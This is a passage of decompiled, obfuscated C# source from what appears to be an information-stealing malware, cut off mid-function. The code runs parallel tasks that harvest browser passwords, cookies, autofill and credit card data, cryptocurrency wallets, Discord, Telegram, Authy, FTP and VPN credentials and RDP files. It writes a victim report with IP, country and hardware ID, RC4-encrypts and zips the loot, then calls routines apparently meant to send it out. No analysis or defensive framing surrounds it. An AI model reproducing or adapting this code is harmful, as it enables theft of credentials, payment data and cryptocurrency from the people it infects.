Task[] array4 = new Task[1];
array4[0] = new Task(delegate()
{
Class_113.tmethod_412(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli);
});
CS$ < > 8__locals5.t3 = array4;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals6 = CS$ < > 8__locals1;
Task[] array5 = new Task[1];
array5[0] = new Task(delegate()
{
Class_56.gmethod_153(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals6.t4 = array5;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals7 = CS$ < > 8__locals1;
Task[] array6 = new Task[1];
array6[0] = new Task(delegate()
{
Class_13.gmethod_33(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals7.t5 = array6;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals8 = CS$ < > 8__locals1;
Task[] array7 = new Task[1];
array7[0] = new Task(delegate()
{
Class_3.tmethod_2(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals8.t6 = array7;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals9 = CS$ < > 8__locals1;
Task[] array8 = new Task[1];
array8[0] = new Task(delegate()
{
Class_10.xmethod_31(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals9.t7 = array8;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals10 = CS$ < > 8__locals1;
Task[] array9 = new Task[1];
array9[0] = new Task(delegate()
{
Class_91.dmethod_256(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals10.t8 = array9;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals11 = CS$ < > 8__locals1;
Task[] array10 = new Task[1];
array10[0] = new Task(delegate()
{
Class_7.pmethod_9(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals11.t9 = array10;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals12 = CS$ < > 8__locals1;
Task[] array11 = new Task[1];
array11[0] = new Task(delegate()
{
Class_17.cmethod_44(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals12.t11 = array11;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals13 = CS$ < > 8__locals1;
Task[] array12 = new Task[1];
array12[0] = new Task(delegate()
{
Class_54.xmethod_151(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals13.t12 = array12;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals14 = CS$ < > 8__locals1;
Task[] array13 = new Task[1];
array13[0] = new Task(delegate()
{
Class_14.vmethod_35(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals14.t13 = array13;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals15 = CS$ < > 8__locals1;
Task[] array14 = new Task[1];
array14[0] = new Task(delegate()
{
Class_11.tmethod_32(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
});
CS$ < > 8__locals15.t14 = array14;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals16 = CS$ < > 8__locals1;
Task[] array15 = new Task[1];
array15[0] = new Task(delegate()
{
Class_96.vmethod_265();
});
CS$ < > 8__locals16.t15 = array15;
Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals17 = CS$ < > 8__locals1;
Task[] array16 = new Task[1];
array16[0] = new Task(delegate()
{
Class_83.kmethod_247();
});
CS$ < > 8__locals17.t16 = array16;
try
{
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t0;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t1;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t2;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t3;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t4;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t5;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t6;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t7;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t8;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t9;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t11;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t12;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t13;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t14;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t15;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
new Thread(delegate()
{
Task[] t = CS$ < > 8__locals1.t16;
for (int i = 0; i < t.Length; i++)
{
t[i].Start();
}
}).Start();
Task.WaitAll(CS$ < > 8__locals1.t0);
Task.WaitAll(CS$ < > 8__locals1.t1);
Task.WaitAll(CS$ < > 8__locals1.t2);
Task.WaitAll(CS$ < > 8__locals1.t3);
Task.WaitAll(CS$ < > 8__locals1.t4);
Task.WaitAll(CS$ < > 8__locals1.t5);
Task.WaitAll(CS$ < > 8__locals1.t6);
Task.WaitAll(CS$ < > 8__locals1.t7);
Task.WaitAll(CS$ < > 8__locals1.t8);
Task.WaitAll(CS$ < > 8__locals1.t9);
Task.WaitAll(CS$ < > 8__locals1.t11);
Task.WaitAll(CS$ < > 8__locals1.t12);
Task.WaitAll(CS$ < > 8__locals1.t13);
Task.WaitAll(CS$ < > 8__locals1.t14);
Task.WaitAll(CS$ < > 8__locals1.t15);
Task.WaitAll(CS$ < > 8__locals1.t16);
}
catch
{
}
GC.Collect();
try
{
Class_2.xmethod_1(Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq);
}
catch
{
}
try
{
Class_57.b();
Class_93.Copy();
}
catch
{
}
Class_5.field_4.Clear();
Class_5.field_5.Clear();
Class_5.field_6.Clear();
GC.Collect();
string s = string.Concat(new string[]
{
"<!DOCTYPE html>\n<html>\n<body>\n<style>\nbody {\nbackground-image: url('https://steamcdn-a.akamaihd.net/steamcommunity/public/images/items/383690/f7a121a3f7a929ffb4dbc3ae241b3b4b6eaaed1d.jpg');\nbackground-repeat: no-repeat;\nbackground-attachment: fixed;\nbackground-size: 100% 100%;\n}\n</style>\n<center>\n<h1 style=\"color:white\">",
Class_103.field_0,
"</h1>\n<p style=\"color:white\">\ud83d\udc64 ",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
"/",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"</p>\n<p style=\"color:white\">\ud83c\udff4 IP: ",
Class_47.IP(),
Class_47.Country(),
Class_47.checc(),
"</p>\n<h2 style=\"color:white\">\ud83c\udf10 Browsers Data</h2>\n<p style=\"color:white;margin-left:-6em\"> ∟\ud83d\udd11</p>\n<p style=\"color:white;margin-left:3em\"> ∟Chromium: ",
Class_49.field_1.ToString(),
"</p>\n<p style=\"color:white;margin-left:-1.5em\"> ∟Edge: ",
Class_113.field_0.ToString(),
"</p>\n<p style=\"color:white;margin-left:-0.9em\"> ∟Gecko: ",
Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83c\udf6a",
(Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
"</p>\n<p style=\"color:white;margin-left:-4em\"> ∟\ud83d\udd51",
Class_49.field_5.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4.5em\"> ∟\ud83d\udcdd",
Class_49.field_2.ToString(),
"</p>\n<p style=\"color:white;margin-left:-5.5em\"> ∟\ud83d\udcb3",
Class_49.field_6.ToString(),
"</p>\n<p style=\"color:white;margin-left:-4.8em\"> ∟⨭",
Class_49.field_3.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcb6 Wallets: ",
(Class_54.field_0 > 0) ? "✅" : "❌",
(Class_79.field_0 > 0) ? " Electrum" : "",
(Class_73.field_0 > 0) ? " Armory" : "",
(Class_4.field_0 > 0) ? " Atomic" : "",
(Class_20.field_0 > 0) ? " BitcoinCore" : "",
(Class_80.field_0 > 0) ? " Bytecoin" : "",
(Class_94.field_0 > 0) ? " DashCore" : "",
(Class_18.field_0 > 0) ? " Ethereum" : "",
(Class_90.field_0 > 0) ? " Exodus" : "",
(Class_6.field_0 > 0) ? " LitecoinCore" : "",
(Class_55.field_0 > 0) ? " Monero" : "",
(Class_89.field_0 > 0) ? " Zcash" : "",
(Class_15.field_0 > 0) ? " Jaxx" : "",
"</p>\n<p style=\"color:white\">\ud83d\udcc2 FileGrabber: ",
Class_5.field_1.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcb0 Recursive Wallets: ",
Class_5.field_3.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udda5 RDP: ",
Class_5.field_2.ToString(),
"</p>\n<p style=\"color:white\">\ud83d\udcac Discord: ",
(Class_17.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">✈️ Telegram: ",
(Class_96.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">\ud83d\udca1 Jabber: ",
(Class_11.field_0 + Class_74.field_0 > 0) ? "✅" : "❌",
(Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
(Class_11.field_0 > 0) ? " Psi" : "",
"</p>\n<h2 style=\"color:white\">\ud83d\udce1 FTP</h2>\n<p style=\"color:white\"> ∟ FileZilla: ",
(Class_13.field_0 > 0) ? ("✅ (" + Class_13.field_0.ToString() + ")") : "❌",
"</p>\n<p style=\"color:white\"> ∟ TotalCmd: ",
(Class_3.field_0 > 0) ? "✅" : "❌",
"</p>\n<h2 style=\"color:white\">\ud83d\udd0c VPN</h2>\n<p style=\"color:white\"> ∟ NordVPN: ",
(Class_7.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\"> ∟ OpenVPN: ",
(Class_91.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\"> ∟ ProtonVPN: ",
(Class_10.field_0 > 0) ? "✅" : "❌",
"</p>\n<p style=\"color:white\">\ud83c\udd94 HWID: ",
Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
"</p>\n<p style=\"color:white\">⚙️ ",
Class_14.smethod_40(),
"</p>\n<p style=\"color:white\">\ud83d\udd0e ",
Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf,
"</p>\n</center>\n</body>\n</html>"
});
string s2 = string.Concat(new string[]
{
Class_103.field_0,
"\nComputer: ",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
"/",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"\nIP: ",
Class_47.IP(),
Class_47.Country(),
Class_47.checc(),
"\nBrowsers Data\n ∟Passwords:\n ∟Chromium: ",
Class_49.field_1.ToString(),
"\n ∟Edge: ",
Class_113.field_0.ToString(),
"\n ∟Gecko: ",
Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
"\n ∟Cookies:",
(Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
"\n ∟History:",
Class_49.field_5.ToString(),
"\n ∟Autofills:",
Class_49.field_2.ToString(),
"\n ∟CC:",
Class_49.field_6.ToString(),
"\n ∟Downloads:",
Class_49.field_3.ToString(),
"\nWallets: ",
(Class_54.field_0 > 0) ? "Yes" : "No",
(Class_79.field_0 > 0) ? " Electrum" : "",
(Class_73.field_0 > 0) ? " Armory" : "",
(Class_4.field_0 > 0) ? " Atomic" : "",
(Class_20.field_0 > 0) ? " BitcoinCore" : "",
(Class_80.field_0 > 0) ? " Bytecoin" : "",
(Class_94.field_0 > 0) ? " DashCore" : "",
(Class_18.field_0 > 0) ? " Ethereum" : "",
(Class_90.field_0 > 0) ? " Exodus" : "",
(Class_6.field_0 > 0) ? " LitecoinCore" : "",
(Class_55.field_0 > 0) ? " Monero" : "",
(Class_89.field_0 > 0) ? " Zcash" : "",
(Class_15.field_0 > 0) ? " Jaxx" : "",
"\nFileGrabber: ",
Class_5.field_1.ToString(),
"\nRecursive Wallets: ",
Class_5.field_3.ToString(),
"\nRDP: ",
Class_5.field_2.ToString(),
"\nDiscord: ",
(Class_17.field_0 > 0) ? "Yes" : "No",
"\nTelegram: ",
(Class_96.field_0 > 0) ? "Yes" : "No",
"\nJabber: ",
(Class_11.field_0 + Class_74.field_0 > 0) ? "Yes" : "No",
(Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
(Class_11.field_0 > 0) ? " Psi" : "",
"\nFTP\n ∟ FileZilla: ",
(Class_13.field_0 > 0) ? ("Yes (" + Class_13.field_0.ToString() + ")") : "No",
"\n ∟ TotalCmd: ",
(Class_3.field_0 > 0) ? "Yes" : "No",
"\nVPN\n ∟ NordVPN: ",
(Class_7.field_0 > 0) ? "Yes" : "No",
"\n ∟ OpenVPN: ",
(Class_91.field_0 > 0) ? "Yes" : "No",
"\n ∟ ProtonVPN: ",
(Class_10.field_0 > 0) ? "Yes" : "No",
"\nHWID: ",
Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
"\nDomains: ",
Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf
});
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information.html", Class_47.RC4(Encoding.UTF8.GetBytes(s)));
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information_Simplified.txt", Class_47.RC4(Encoding.UTF8.GetBytes(s2)));
string str_ = string.Concat(new string[]
{
Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm,
"\\",
Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
"_",
Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
Class_47.CountryCOde(),
".zip"
});
using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866")))
{
class_.prop_34 = -1L;
class_.prop_17 = Class_169.Always;
class_.prop_9 = Class_202.BestCompression;
class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb;
foreach (KeyValuePair <string, byte[]> keyValuePair in Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln)
{
class_.vmethod_775(keyValuePair.Key, Class_47.RC4(keyValuePair.Value));
}
foreach (KeyValuePair <string, string> keyValuePair2 in Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp)
{
try
{
class_.pmethod_749(keyValuePair2.Key, keyValuePair2.Value);
}
catch
{
}
}
if (Class_96.field_2 != null)
{
class_.lmethod_778(Class_96.field_2, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Telegram");
}
if (Class_83.field_0 != null)
{
class_.lmethod_778(Class_83.field_0, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Authy");
}
class_.smethod_930(str_);
Class_47.DeleteDirectory(Class_96.field_2);
Class_47.DeleteDirectory(Class_83.field_0);
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Clear();
Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp.Clear();
GC.Collect();
Class_82.vmethod_245(str_, "s");
Class_82.cmethod_244();
Class_81.smethod_240();
}
// Token: 0x0600004D RID: 77 RVA: 0x000042F0 File Offset: 0x000024F0
public static void kmethod_37(string str_0)
{
try
{
string text = "";
foreach (Process process in Process.GetProcesses())
{
text = text + process.ProcessName + Environment.NewLine;
}
Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(str_0 + "\\Processes.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
}
catch
{
}
}
public static void GetChromium()
{
List <Class_65> list = null;
try
{
Class_49.dmethod_136(Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz);
list = Class_49.vmethod_135();
Class_49.dmethod_146(Class_47.\u0020\u033F\u0315\u0350\u0352\u0367\u0E47\u0020\u0358\u032F\u0307\u0347\u0324\u033A\u0348\u036Avgwkwyiffpxhvsqg\u0340\u0020\u0358\u0333\u0020\u0351\u035B\u031C\u0020\u0E47\u0E47\u0363\u0020\u0366\u0331\u035Fqalqdbmxtcrpprqk);
Class_49.cmethod_144(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli);
Class_49.lmethod_148(Class_47.\u0E47\u0020\u034D\u0020\u0E47\u035B\u0349\u0E47\u0358\u035C\u036B\u0020\u036B\u0364\u031D\u033Emirhvahtmnvwxjwq\u0E47\u0355\u0020\u0335\u0E47\u034E\u0323\u0349\u0340\u0E47\u0307\u030B\u0020\u030B\u0360\u035Bgkliuuhtpiuahszp);
Class_49.kmethod_137(Class_47.\u0300\u035A\u0020\u0339\u0334\u0322\u0349\u0489\u0020\u0020\u0020\u0308\u0E47\u0332\u0314\u0020hvxeyxbeqqqeytcp\u033C\u0346\u0309\u0340\u033D\u0307\u0020\u035F\u0020\u032C\u0359\u0329\u0331\u0354\u034E\u0358cpmlnjibutstbbmq);
Class_49.lmethod_138(Class_47.\u0310\u0353\u0300\u0339\u0305i\u0489\u0364\u0020\u0359\u0E47\u031A\u0310\u033Ct\u0367wrectesdtcntxetu\u0334\u0362\u0345t\u032A\u0316\u0020\u036B\u0307\u0342\u0020\u0020\u0353\u033F\u032F\u032Fdcenxrkropmfcmbt);
Class_49.gmethod_143(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli);
Class_49.vmethod_145(Class_47.\u0020\u033F\u0315\u0350\u0352\u0367\u0E47\u0020\u0358\u032F\u0307\u0347\u0324\u033A\u0348\u036Avgwkwyiffpxhvsqg\u0340\u0020\u0358\u0333\u0020\u0351\u035B\u031C\u0020\u0E47\u0E47\u0363\u0020\u0366\u0331\u035Fqalqdbmxtcrpprqk);
}
catch
{
}
string text = "";
if (list != null)
{
foreach (Class_65 class_ in list)
{
foreach (Class_67 class_2 in class_.prop_4)
{
text = text + class_2.prop_3 + Environment.NewLine;
text = text + class_2.prop_0 + Environment.NewLine;
text = string.Concat(new string[]
{
text,
class_2.prop_1.ToString(),
"/",
class_2.prop_2.ToString(),
